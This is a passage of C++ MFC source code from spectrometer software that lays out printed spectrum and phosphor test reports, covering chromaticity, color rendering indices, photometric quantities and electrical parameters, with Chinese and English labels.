if(CMySpecDoc::m_iNType == 0)
sStr.Format("Sample No.");
if(CMySpecDoc::m_iNType == 1)
sStr.Format("Sample No.");
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
sStr.Format(": %s",m_strNumber);
pDC->TextOut(printRect.left+11*Wn,iCurY,sStr);
sStr.Format("Instrument");
pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format(": %s","GCS-300(NAHON)");
pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
iCurY=iCurY+Hn;
sStr.Format("Manufacturer");
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
sStr.Format(": %s",m_strFactory);
pDC->TextOut(printRect.left+11*Wn,iCurY,sStr);
sStr.Format("Test by");
pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format(": %s",m_strTester);
pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
/* iCurY=iCurY+Hn*4;
sStr.Format("Product");
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
sStr.Format(": %s",m_strModel);
pDC->TextOut(printRect.left+11*Wn,iCurY,sStr);
sStr.Format("Date");
pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format(": %s",m_strDate);
pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
iCurY=iCurY+Hn;
sStr.Format("Sample No.");
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
sStr.Format(": %s",m_strNumber);
pDC->TextOut(printRect.left+11*Wn,iCurY,sStr);
sStr.Format("Instrument");
pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format(": %s","GCS-300(NAHON)");
pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
iCurY=iCurY+Hn;
sStr.Format("Manufacturer");
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
sStr.Format(": %s",m_strFactory);
pDC->TextOut(printRect.left+11*Wn,iCurY,sStr);
sStr.Format("Tested by");
pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format(": %s",m_strTester);
pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
// sStr.Format("Client");
// pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
// sStr.Format(": %s",m_strFactory);
// pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
// iCurY=iCurY+Hn;
// sStr.Format("Operator");
// pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
// sStr.Format(": %s",m_strTester);
// pDC->TextOut(printRect.left+11*Wn,iCurY,sStr);
// sStr.Format("Reviewed By");
// pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
// sStr.Format(": %s",m_strTester);
// pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);*/
}
//
pDC->SetTextAlign(TA_LEFT);
pDC->SelectObject(&pFont1);
if(!g_bEnglish)
sStr.Format("测试条件");
else
sStr.Format("Test Condition");
iCurY=iCurY+Hn*2;
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
pDC->SelectObject(&pFont2);
if(!g_bEnglish)
{
iCurY=iCurY+Hn;
sStr.Format("环境温度");
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
sStr.Format(": %sDeg",m_strT);
pDC->TextOut(printRect.left+11*Wn,iCurY,sStr);
sStr.Format("环境湿度");
pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format(": %s%%",m_strH);
pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
iCurY=iCurY+Hn;
sStr.Format("测试范围");
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
sStr.Format(": %.0fnm-%.0fnm",m_fSpect1,m_fSpect2);
pDC->TextOut(printRect.left+11*Wn,iCurY,sStr);
sStr.Format("峰值IP");
pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format(": %.0f (%.0f%%)",m_fIp,m_fIp*100.0f/(m_nADW-1));
pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
iCurY=iCurY+Hn;
sStr.Format("积分时间");
pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format(": %.0f ms",m_fIntTime);
pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
iCurY=iCurY+Hn;
}
else
{
iCurY=iCurY+Hn;
sStr.Format("Temprature");
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
sStr.Format(": %sDeg",m_strT);
pDC->TextOut(printRect.left+11*Wn,iCurY,sStr);
sStr.Format("RH");
pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format(": %s%%",m_strH);
pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
iCurY=iCurY+Hn;
sStr.Format("WL Range");
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
sStr.Format(": %.0fnm-%.0fnm",m_fSpect1,m_fSpect2);
pDC->TextOut(printRect.left+11*Wn,iCurY,sStr);
sStr.Format("IP");
pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format(": %.0f (%.0f%%)",m_fIp,m_fIp*100.0f/(m_nADW-1));
pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
iCurY=iCurY+Hn;
sStr.Format("T");
pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format(": %.0f ms",m_fIntTime);
pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format("Test Mode");
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
CString sTemp;
}
// 画波形
pDC->SetTextAlign(TA_LEFT);
pDC->SelectObject(&pFont1);
if(!g_bEnglish)
sStr.Format("光谱参数");
else
sStr.Format("Spectrum");
iCurY=iCurY+Hn*2;
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
pDC->SetTextAlign(TA_LEFT);
pDC->SelectObject(&pFont2);
CRect SpectRect,SDCMRect,Spect01Rect;
SpectRect.left = printRect.left+4*Wn;
SpectRect.right = printRect.left+30*Wn;
iCurY = (int)(iCurY+Hn*1.2f);
SpectRect.top = printRect.top+iCurY;
iCurY = iCurY+Hn*12;
SpectRect.bottom= printRect.top+iCurY;
SDCMRect.left = SpectRect.right;
SDCMRect.right = printRect.right-4*Wn;
SDCMRect.top = SpectRect.top;
SDCMRect.bottom = SpectRect.bottom;
Spect01Rect.left = printRect.left+4*Wn;
Spect01Rect.right = printRect.right-0*Wn;
Spect01Rect.top = SpectRect.top;
Spect01Rect.bottom = SpectRect.bottom;
DATA_DRAW drawData;
drawData.iDrawType = 1;
drawData.bShowCur = FALSE;
drawData.bMouse = FALSE;
DrawSpect(pDC,SpectRect,drawData,"",TRUE,TRUE, iPhType);
if(m_bHaveColorPara)
{
if(iTypeP == 0)
{
printCIE(pDC,SDCMRect,m_x,m_y,m_fCCT);
}
else if(iTypeP == 1)
{
printCIE_UV(pDC,SDCMRect,m_u,m_v,m_fCCT);
}
else if(iTypeP == 2)
{
printColorErr(pDC,SDCMRect,m_x,m_y,iSeleK,iSDCM1,iSDCM2);
}
else
{
xyZone.m_fX = m_x;
xyZone.m_fY = m_y;
xyZone.Draw(pDC,SDCMRect,-1,TRUE,0);
}
}
pDC->SetTextAlign(TA_LEFT);
if(!g_bEnglish)
sStr.Format("光谱分布");
else
sStr.Format("Spectral Distribution");
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
pDC->SetTextAlign(TA_RIGHT);
if(!g_bEnglish)
sStr.Format("CIE1931色品图");
else
sStr.Format("CIE1931 Chromaticity Diagram");
pDC->TextOut(printRect.right-4*Wn,iCurY,sStr);
pDC->SetTextAlign(TA_LEFT);
// 色参数
iCurY = SpectRect.bottom;
int iCurX=SpectRect.left;
pDC->SetTextAlign(TA_LEFT);
iCurY=(int)(iCurY+1.5*Hn);
if(m_bHaveColorPara)
{
pDC->SelectObject(&pFont1);
if(!g_bEnglish)
sStr="CIE颜色参数";
else
sStr="Colorimetric Quantities";
pDC->TextOut(iCurX,iCurY,sStr);
pDC->SelectObject(&pFont2);
//------------------------------------------------
TEXTMETRIC tm;
pDC->GetTextMetrics(&tm);
int nfontHeight=tm.tmHeight+tm.tmExternalLeading;
int nfontWidth=tm.tmAveCharWidth;
//------------------------------------------------
iCurY=(int)(iCurY+1.0*Hn);
if(!g_bEnglish)
sStr.Format("色品坐标: x = %.4f y = %.4f / u' = %.4f v' = %.4f",m_x,m_y,m_u,m_v);
else
sStr.Format("Chromaticity Coordinate: x = %.4f y = %.4f / u' = %.4f v' = %.4f",m_x,m_y,m_u,m_v);
CString dC;
dC.Format(" (duv=%.2e)",m_fdc);
dC.Replace("-00","-0");
dC.Replace("+00","+0");
sStr=sStr+dC;
pDC->TextOut(iCurX,iCurY,sStr);
iCurY=(int)(iCurY+1.0*Hn);
if(!g_bEnglish)
{
if(m_fCCT>1000&&m_fCCT<100000)
sStr.Format("相关色温:CCT=%.0fK 主波长:λd=%.1fnm 色纯度:Purity=%.1f%%",m_fCCT,m_fMainlambda,m_fPurity);
else if(m_fCCT<=1000)
sStr.Format("相关色温:CCT<=1000K 主波长:λd=%.1fnm 色纯度:Purity=%.1f%%",m_fMainlambda,m_fPurity);
else
sStr.Format("相关色温:CCT>=100000K 主波长:λd=%.1fnm 色纯度:Purity=%.1f%%",m_fMainlambda,m_fPurity);
}
else
{
if(m_fCCT>1000&&m_fCCT<100000)
sStr.Format("CCT=%6.0fK Prcp WL: Ld=%.1fnm Purity=%.1f%%",m_fCCT,m_fMainlambda,m_fPurity);
else if(m_fCCT<=1000)
sStr.Format("CCT<=1000K Prcp WL: Ld=%.1fnm Purity=%.1f%%",m_fMainlambda,m_fPurity);
else
sStr.Format("CCT>=100000K Prcp WL: Ld=%.1fnm Purity=%.1f%%",m_fMainlambda,m_fPurity);
}
pDC->TextOut(iCurX,iCurY,sStr);
iCurY=(int)(iCurY+1.0*Hn);
if(!g_bEnglish)
sStr.Format("峰值波长:λp=%.0fnm 半宽度:FWHM=%.1fnm 色比:R=%.1f%% G=%.1f%% B=%.1f%%",m_fMaxlambda,m_fHalflambda,m_fRedRatio,m_fGreenRatio,m_fBlueRatio);
else
sStr.Format("Peak WL: Lp=%3.0fnm FWHM: =%.1fnm Ratio:R=%.1f%% G=%.1f%% B=%.1f%%",m_fMaxlambda,m_fHalflambda,m_fRedRatio,m_fGreenRatio,m_fBlueRatio);
pDC->TextOut(iCurX,iCurY,sStr);
iCurY=(int)(iCurY+1.0*Hn);
if(g_bHaveCRI)
{
float fCRI=0;
for(i=0;i<14;i++)
{
fCRI=fCRI+m_fRi[i];
}
fCRI=fCRI/14;
iCurY=(int)(iCurY+1.0*Hn);
if(g_bEnglish)
sStr.Format("Render Index: Ra = %.1f CRI = %.1f",m_fRa,fCRI);
else
sStr.Format("显色指数: Ra = %.1f CRI = %.1f",m_fRa,fCRI);
pDC->TextOut(iCurX,iCurY,sStr);
}
else
{
iCurY=(int)(iCurY+1.0*Hn);
if(g_bEnglish)
sStr.Format("Render Index: Ra = %.1f",m_fRa);
else
sStr.Format("显色指数: Ra = %.1f",m_fRa);
pDC->TextOut(iCurX,iCurY,sStr);
}
int iRONE=(printRect.right-iCurX)/10;
iCurY=(int)(iCurY+1.0*Hn);
for(i=0;i<7;i++)
{
sStr.Format("R%-2d=%.0f",i+1,m_fRi[i]);
pDC->TextOut(iCurX+i*iRONE,iCurY,sStr);
}
iCurY=(int)(iCurY+1.0*Hn);
for(i=0;i<8;i++)
{
sStr.Format("R%-2d=%.0f",i+1+7,m_fRi[i+7]);
pDC->TextOut(iCurX+i*iRONE,iCurY,sStr);
}
iCurY=(int)(iCurY+1.0*Hn);
if(strLevel!=""||strWhite!="")
{
CString sStr1 = "";
CString sStr2 = "";
if(strLevel == "")
{
if(g_bEnglish)
{
sStr.Format("WHITE:%s",strWhite);
}
else
{
sStr.Format("白光分类:%s",strWhite);
}
}
else if(strWhite == "")
{
if(g_bEnglish)
{
sStr.Format("LEVEL:%s",strLevel);
}
else
{
sStr.Format("分级:%s",strLevel);
}
}
else
{
if(g_bEnglish)
{
sStr.Format("LEVEL:%s WHITE:%s",strLevel,strWhite);
}
else
{
sStr.Format("分级:%s 白光分类:%s",strLevel,strWhite);
}
}
pDC->TextOut(iCurX,iCurY,sStr);
}
iCurY=(int)(iCurY+1.0*Hn);
}
if(m_iLamp==0)
{
pDC->SelectObject(&pFont1);
iCurY=(int)(iCurY+1.0*Hn);
if(!g_bEnglish)
sStr="光度&辐射度参数";
else
sStr=" Photometric & Radiometric Quantities";
pDC->TextOut(iCurX,iCurY,sStr);
iCurY=(int)(iCurY+1.0*Hn);
pDC->SelectObject(&pFont2);
//------------------------------------------------
TEXTMETRIC tm;
pDC->GetTextMetrics(&tm);
int nfontHeight=tm.tmHeight+tm.tmExternalLeading;
int nfontWidth=tm.tmAveCharWidth;
//-----------------------------------------------
if(m_bTestPH)
{
CString strUnit;
CString strFe;
CString strPH=PH_Name(m_iLamp,iPhType,strUnit,TRUE);
if(m_bHaveColorPara)
sStr.Format("%s = %s %s",strPH,g_SPEC.sFormat(m_fPH,5),strUnit);
else
sStr="";
if(m_iLamp==0)
{
if(iPhType==PH_I||iPhType==PH_Ie)
{
if(m_fPh_e>1)
{
strPH=PH_Name(m_iLamp,PH_Ie,strUnit,TRUE);
strFe.Format(" %s = %s W/sr",strPH,g_SPEC.sFormat(m_fPh_e,5));
}
else
{
strPH=PH_Name(m_iLamp,PH_Ie,strUnit,TRUE);
strFe.Format(" %s = %s %s",strPH,g_SPEC.sFormat(m_fPh_e*1000,5),strUnit);
}
sStr=sStr+strFe;
if(m_fDistance==0.316f)
{
if(g_bEnglish)
sStr=sStr+" ( CIE A )";
else
sStr=sStr+" ( CIE A 条件)";
}
else if(m_fDistance==0.100f)
{
if(g_bEnglish)
sStr=sStr+" ( CIE B )";
else
sStr=sStr+" ( CIE B 条件)";
}
else
{
strUnit.Format(" (%.3fm)",m_fDistance);
if(m_bHaveColorPara)
sStr=sStr+strUnit;
}
}
if(iPhType==PH_F&&m_bTestF)
{
float fEff=0;
if(m_fPow>0 && m_fIF > 0)
fEff=m_fPH/(m_fPow);
else
fEff=0;
if(g_bEnglish)
strUnit.Format(" Eff. : %.2f lm/W",fEff);
else
strUnit.Format(" 光效 : %.2f lm/W",fEff);
if(m_bHaveColorPara)
sStr=sStr+strUnit;
}
if(iPhType==PH_F)
{
if(m_fPh_e>1)
{
strPH=PH_Name(m_iLamp,PH_Fe,strUnit,TRUE);
strFe.Format(" %s = %s W",strPH,g_SPEC.sFormat(m_fPh_e,5));
}
else
{
strPH=PH_Name(m_iLamp,PH_Fe,strUnit,TRUE);
strFe.Format(" %s = %s %s",strPH,g_SPEC.sFormat(m_fPh_e*1000,5),strUnit);
}
sStr=sStr+strFe;
}
if(iPhType==PH_E)
{
strPH=PH_Name(m_iLamp,PH_Ee,strUnit,TRUE);
strFe.Format(" %s = %s %s",strPH,g_SPEC.sFormat(m_fPh_e,5),strUnit);
sStr=sStr+strFe;
}
if(iPhType == PH_L)
{
CString strTemp;
if(g_bEnglish)
strTemp=" (AngleView:"+m_strAngleView+" Deg)";
else
strTemp=" (视场角:"+m_strAngleView+" 度)";
sStr=sStr+strTemp;
}
}
if(CSpectData::m_bPrintPh_)
{
if(iPhType == PH_F || iPhType == PH_E)
{
BOOL bPh_;
float fPh_, fSP;
bPh_ = CalcPh_(fPh_, fSP);
if(bPh_ == TRUE)
{
CString strTemp2;
if(g_bEnglish)
strTemp2.Format(" Scotopic:%.5g S/P:%.5g", fPh_, fSP);
else
strTemp2.Format(" 暗视觉:%.5g S/P:%.5g", fPh_, fSP);
sStr += strTemp2;
}
}
}
pDC->TextOut(iCurX,iCurY,sStr);
iCurY=(int)(iCurY+1.0*Hn);
if(g_bHavePhoEff)
{
float fMol = 0;
float fEff1 = 0;
float fEff2 = 0;
BOOL bPho = CalcPhoEff(fMol,fEff1,fEff2, iPhType);
CString strTemp;
sStr="";
if(g_bEnglish)
{
strTemp = "Flux of emitted photons(umol/s)";
if(iPhType == PH_E)
strTemp = "Flux of emitted photons(umol/m2/s): ";
}
else
{
strTemp = "光量子数(umol/s)";
if(iPhType == PH_E)
strTemp = "光量子数(umol/m2/s): ";
}
sStr = sStr + strTemp;
strTemp.Format(":%.5g ",fMol);
if(bPho == FALSE)
strTemp = " ";
sStr = sStr + strTemp;
if(g_bEnglish)
{
strTemp=" Fluo. and blue light ratio:";
}
else
{
strTemp=" 荧光蓝光比:";
}
sStr = sStr + strTemp;
strTemp = g_SPEC.sFormat(fEff1,4);
if(bPho == FALSE)
strTemp = " ";
sStr = sStr + strTemp;
if(g_bEnglish)
{
strTemp=" Fluorescent eff.:";
}
else
{
strTemp=" 荧光效能:";
}
sStr = sStr + strTemp;
strTemp = g_SPEC.sFormat(fEff2,4);
if(bPho == FALSE)
strTemp = " ";
sStr = sStr + strTemp;
pDC->TextOut(iCurX,iCurY,sStr);
iCurY=(int)(iCurY+1.0*Hn);
}
}
iCurY=(int)(iCurY+0.5*Hn);
pDC->SelectObject(&pFont5);
pDC->TextOut(printRect.left+4*Wn,iCurY,"__________________________________________________________________________________");
if(m_bTestF)
{
pDC->SelectObject(&pFont1);
iCurY=(int)(iCurY+1.0*Hn);
if(g_bEnglish)
pDC->TextOut(iCurX,iCurY,"Electrical parameters");
else
pDC->TextOut(iCurX,iCurY,"电参数");
pDC->SelectObject(&pFont2);
iCurY=(int)(iCurY+1.3*Hn);
}
if(m_bTestF)
{
if(g_bEnglish)
sStr.Format("V = %s V I = %s A P = %s W PF = %s",g_SPEC.sFormat(m_fVF,4),g_SPEC.sFormat(m_fIF,4),g_SPEC.sFormat(m_fPow,4),g_SPEC.sFormat(m_fPF,4));
else
sStr.Format("电压 V = %s V 电流 I = %s A 功率 P = %s W 功率因数 PF = %s",g_SPEC.sFormat(m_fVF,4),g_SPEC.sFormat(m_fIF,4),g_SPEC.sFormat(m_fPow,4),g_SPEC.sFormat(m_fPF,4));
pDC->TextOut(iCurX,iCurY,sStr);
iCurY=(int)(iCurY+1.0*Hn);
}
}
pDC->SelectObject(&pFont1);
pDC->SetTextAlign(TA_CENTER);
iCurY=(int)(iCurY+1.0*Hn);
// if(m_strCompany!="")
// sStr=m_strCompany;
// else
sStr=g_strCompany;
pDC->TextOut(printRect.left+printRect.Width()/2,iCurY,sStr);
pDC->SelectObject(&pFont4);
iCurY=(int)(iCurY+1.0*Hn);
// if(m_strAddr!="")
// sStr=m_strAddr;
// else
sStr=g_strAddr;
pDC->TextOut(printRect.left+printRect.Width()/2,iCurY,sStr);
pDC->SelectObject(pOldPen);
pDC->SelectObject(pOldFont);
return;
}
void CSpectData::printReport(CDC *pDC, CRect printRect,int iTypeP,int iSeleK,int iSDCM1,int iSDCM2,int iPhType,CWhiteZone &xyZone,CString strLevel,CString strWhite)
{
if(!m_bHaveData)
return;
CFont *pOldFont;
CFont Font1;
CFont Font2;
CFont Font3;
Font1.CreateFont(printRect.Height()/40,0,0,0,700,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Courier New");
Font2.CreateFont(printRect.Height()/57,0,0,0,600,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Courier New");
Font3.CreateFont(printRect.Height()/60,0,0,0,600,TRUE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Courier New");
CPen *pOldPen;
CPen Pen1;
CPen Pen2;
CPen Pen3;
Pen1.CreatePen(PS_SOLID,1,RGB(255,255,0));
Pen2.CreatePen(PS_SOLID,1,RGB(255,0,0));
Pen3.CreatePen(PS_SOLID,1,RGB(255,255,255));
pOldPen=pDC->SelectObject(&Pen1);
pOldFont=pDC->SelectObject(&Font1);
int Wn=printRect.Width()/40;
int Hn=printRect.Height()/40;
CRect drRect;
drRect.left=printRect.left+printRect.Width()/30;
drRect.right=printRect.right-printRect.Width()/30;
CRect SpectRect;
SpectRect.left=drRect.left;
if(m_bHaveColorPara)
SpectRect.right=drRect.right-14*Wn;
else
SpectRect.right=drRect.right;
SpectRect.top=printRect.top+8*Hn;
SpectRect.bottom=printRect.top+8*Hn+7*22*Wn/9;
pDC->SetTextAlign(TA_CENTER);
if(m_iLamp==0)
{
if(g_bEnglish)
pDC->TextOut(printRect.left+printRect.Width()/2,printRect.top+4*Hn,"Spectrum Test Report");
else
pDC->TextOut(printRect.left+printRect.Width()/2,printRect.top+4*Hn,"光 源 光 谱 测 试 报 告");
}
else
{
if(g_bEnglish)
pDC->TextOut(printRect.left+printRect.Width()/2,printRect.top+4*Hn,"Phosphor Test Report");
else
pDC->TextOut(printRect.left+printRect.Width()/2,printRect.top+4*Hn,"荧 光 粉 光 谱 测 试 报 告");
}
CPoint pDis;
int i;
DATA_DRAW drawData;
drawData.iDrawType = 1;
drawData.bShowCur = FALSE;
drawData.bMouse = FALSE;
DrawSpect(pDC,SpectRect,drawData,"",TRUE,TRUE, iPhType);
CRect sdcm;
sdcm.left = SpectRect.right;
sdcm.right = drRect.right;
sdcm.top = SpectRect.top;
sdcm.bottom = SpectRect.bottom;
if(m_bHaveColorPara)
{
if(iTypeP == 0)
{
printCIE(pDC,sdcm,m_x,m_y,m_fCCT);
}
else if(iTypeP == 1)
{
printCIE_UV(pDC,sdcm,m_u,m_v,m_fCCT);
}
else if(iTypeP == 2)
{
printColorErr(pDC,sdcm,m_x,m_y,iSeleK,iSDCM1,iSDCM2);
}
else
{
xyZone.m_fX = m_x;
xyZone.m_fY = m_y;
xyZone.Draw(pDC, sdcm, -1, TRUE, 0);
}
}
CString sStr;
pDC->SetTextAlign(TA_LEFT);
int iCurY;
const int iX=printRect.left+1*Wn;
iCurY=SpectRect.bottom+0*Hn;
pDC->SelectObject(&Font1);
iCurY=(int)(iCurY+1.0*Hn);
if(m_bHaveColorPara)
{
if(g_bEnglish)
pDC->TextOut(iX,iCurY,"Colorimetric Quantities");
else
pDC->TextOut(iX,iCurY,"颜色参数");
pDC->SelectObject(&Font2);
iCurY=(int)(iCurY+1.3*Hn);
if(g_bEnglish)
sStr.Format("Chromaticity Coordinate:x=%.4f y=%.4f/u'=%.4f v'=%.4f",m_x,m_y ,m_u,m_v);
else
sStr.Format("色品坐标:x=%.4f y=%.4f/u'=%.4f v'=%.4f",m_x,m_y ,m_u,m_v);
pDC->TextOut(iX,iCurY,sStr);
iCurY=(int)(iCurY+1.0*Hn);
if(g_bEnglish)
sStr.Format("CCT=%.0fK(Duv=%.4f) Dominant WL:Ld =%.1fnm Purity=%.1f%%",m_fCCT,m_fdc,m_fMainlambda,m_fPurity);
else
sStr.Format("相关色温:CCT=%.0fK(色差Duv=%.4f) 主波长:λd=%.1fnm 色纯度: Purity=%.1f%%",m_fCCT,m_fdc,m_fMainlambda,m_fPurity);
pDC->TextOut(iX,iCurY,sStr);
iCurY=(int)(iCurY+1.0*Hn);
if(g_bEnglish)
sStr.Format("Peak WL:Lp=%.1fnm FWHM=%.1fnm",m_fMaxlambda,m_fHalflambda);
else
sStr.Format("峰值波长:λp=%.1fnm 半宽度:FWHM=%.1fnm",m_fMaxlambda,m_fHalflambda);
pDC->TextOut(iX,iCurY,sStr);
if(g_bHaveCRI)
{
float fCRI=0;
for(i=0;i<14;i++)
{
fCRI=fCRI+m_fRi[i];
}
fCRI=fCRI/14;
iCurY=(int)(iCurY+1.0*Hn);
if(g_bEnglish)
sStr.Format("Render Index:Ra=%.1f CRI=%.1f",m_fRa,fCRI);
else
sStr.Format("显色指数:Ra=%.1f CRI=%.1f",m_fRa,fCRI);
pDC->TextOut(iX,iCurY,sStr);
}
else
{
iCurY=(int)(iCurY+1.0*Hn);
if(g_bEnglish)
sStr.Format("Render Index:Ra=%.1f",m_fRa);
else
sStr.Format("显色指数:Ra=%.1f",m_fRa);
pDC->TextOut(iX,iCurY,sStr);
}
int iRONE=(printRect.right-iX)/8;
iCurY=(int)(iCurY+1.0*Hn);
for(i=0;i<7;i++)
{
sStr.Format("R%-2d=%.0f",i+1,m_fRi[i]);
pDC->TextOut(iX+i*iRONE,iCurY,sStr);
}
iCurY=(int)(iCurY+1.0*Hn);
for(i=0;i<8;i++)
{
sStr.Format("R%-2d=%.0f",i+1+7,m_fRi[i+7]);
pDC->TextOut(iX+i*iRONE,iCurY,sStr);
}
iCurY=(int)(iCurY+1.0*Hn);
}
else
{
iCurY=(int)(iCurY+1.0*Hn);
if(g_bEnglish)
sStr.Format("Peak WL:Lp=%.1fnm FWHM=%.1fnm",m_fMaxlambda,m_fHalflambda);
else
sStr.Format("峰值波长:λp=%.1fnm 半宽度:FWHM=%.1fnm",m_fMaxlambda,m_fHalflambda);
pDC->TextOut(iX,iCurY,sStr);
iCurY=(int)(iCurY+1.0*Hn);
}
if(m_bTestPH)
{
pDC->SelectObject(&Font1);
iCurY=(int)(iCurY+0.6*Hn);
if(g_bEnglish)
pDC->TextOut(iX,iCurY,"Photometric & Radiometric Quantities");
else
pDC->TextOut(iX,iCurY,"光度&辐射度参数");
pDC->SelectObject(&Font2);
iCurY=(int)(iCurY+1.3*Hn);
}
if(0)
{
float fPh_e=GetWL12_Ee(m_fE_SP1,m_fE_SP2,m_fPh_e);
CString strTemp;
strTemp.Format(" (%.0f-%.0fnm)",m_fE_SP1,m_fE_SP2);
if(g_bEnglish)
sStr="F: "+g_SPEC.sFormat(m_fPh,4)+" lm Fe: "+g_SPEC.sFormat(fPh_e*1000,4)+" mW"+strTemp;
else
sStr="光通量: "+g_SPEC.sFormat(m_fPh,4)+" lx 辐射通量: "+g_SPEC.sFormat(fPh_e*1000,4)+" mW/m2"+strTemp;
pDC->TextOut(iX,iCurY,sStr);
iCurY=(int)(iCurY+1.0*Hn);
}
if(m_bTestPH)
{
CString strUnit;
CString strFe;
CString strPH=PH_Name(m_iLamp,iPhType,strUnit,TRUE);
if(m_bHaveColorPara)
sStr.Format("%s = %s %s",strPH,g_SPEC.sFormat(m_fPH,4),strUnit);
else
sStr="";
if(m_iLamp==0)
{
if(iPhType==PH_I||iPhType==PH_Ie)
{
if(m_fPh_e>1)
{
strPH=PH_Name(m_iLamp,PH_Ie,strUnit,TRUE);
strFe.Format(" %s = %s W/sr",strPH,g_SPEC.sFormat(m_fPh_e,4));
}
else
{
strPH=PH_Name(m_iLamp,PH_Ie,strUnit,TRUE);
strFe.Format(" %s = %s %s",strPH,g_SPEC.sFormat(m_fPh_e*1000,4),strUnit);
}
sStr=sStr+strFe;
if(m_fDistance==0.316f)
{
if(g_bEnglish)
sStr=sStr+" ( CIE A )";
else
sStr=sStr+" ( CIE A 条件)";
}
else if(m_fDistance==0.100f)
{
if(g_bEnglish)
sStr=sStr+" ( CIE B )";
else
sStr=sStr+" ( CIE B 条件)";
}
else
{
strUnit.Format(" (%.3fm)",m_fDistance);
if(m_bHaveColorPara)
sStr=sStr+strUnit;
}
}
if(iPhType==PH_F&&m_bTestF)
{
float fEff=0;
if(m_fPow>0)
fEff=m_fPH/(m_fPow);
else
fEff=0;
if(g_bEnglish)
strUnit.Format(" Eff. : %.2f lm/W",fEff);
else
strUnit.Format(" 光效 : %.2f lm/W",fEff);
if(m_bHaveColorPara)
sStr=sStr+strUnit;
}
if(iPhType==PH_F)
{
if(m_fPh_e>1)
{
strPH=PH_Name(m_iLamp,PH_Fe,strUnit,TRUE);
strFe.Format(" %s = %s W",strPH,g_SPEC.sFormat(m_fPh_e,4));
}
else
{
strPH=PH_Name(m_iLamp,PH_Fe,strUnit,TRUE);
strFe.Format(" %s = %s %s",strPH,g_SPEC.sFormat(m_fPh_e*1000,4),strUnit);
}
sStr=sStr+strFe;
}
if(iPhType==PH_E)
{
strPH=PH_Name(m_iLamp,PH_Ee,strUnit,TRUE);
strFe.Format(" %s = %s %s",strPH,g_SPEC.sFormat(m_fPh_e*1000,4),strUnit);
sStr=sStr+strFe;
}
if(iPhType == PH_L)
{
CString strTemp;
if(g_bEnglish)
{
strTemp=" (AngleView:"+m_strAngleView+" Deg)";
}
else
{
strTemp=" (视场角:"+m_strAngleView+" 度)";
}
sStr=sStr+strTemp;
}
}
if(CSpectData::m_bPrintPh_)
{
if(iPhType == PH_F || iPhType == PH_E)
{
BOOL bPh_;
float fPh_, fSP;
bPh_ = CalcPh_(fPh_, fSP);
if(bPh_ == TRUE)
{
CString strTemp2;
if(g_bEnglish)
strTemp2.Format(" Scotopic:%.5g S/P:%.5g", fPh_, fSP);
else
strTemp2.Format(" 暗视觉:%.5g S/P:%.5g", fPh_, fSP);
sStr += strTemp2;
}
}
}
pDC->TextOut(iX,iCurY,sStr);
iCurY=(int)(iCurY+1.0*Hn);
if(g_bHavePhoEff)
{
float fMol = 0;
float fEff1 = 0;
float fEff2 = 0;
BOOL bPho = CalcPhoEff(fMol,fEff1,fEff2,iPhType);
CString strTemp;
sStr="";
if(g_bEnglish)
{
strTemp = "Fmol(umol/s):";
if(iPhType == PH_E)
strTemp = "Fmol(umol/m2/s):";
}
else
{
strTemp = "光量子数(umol/s):";
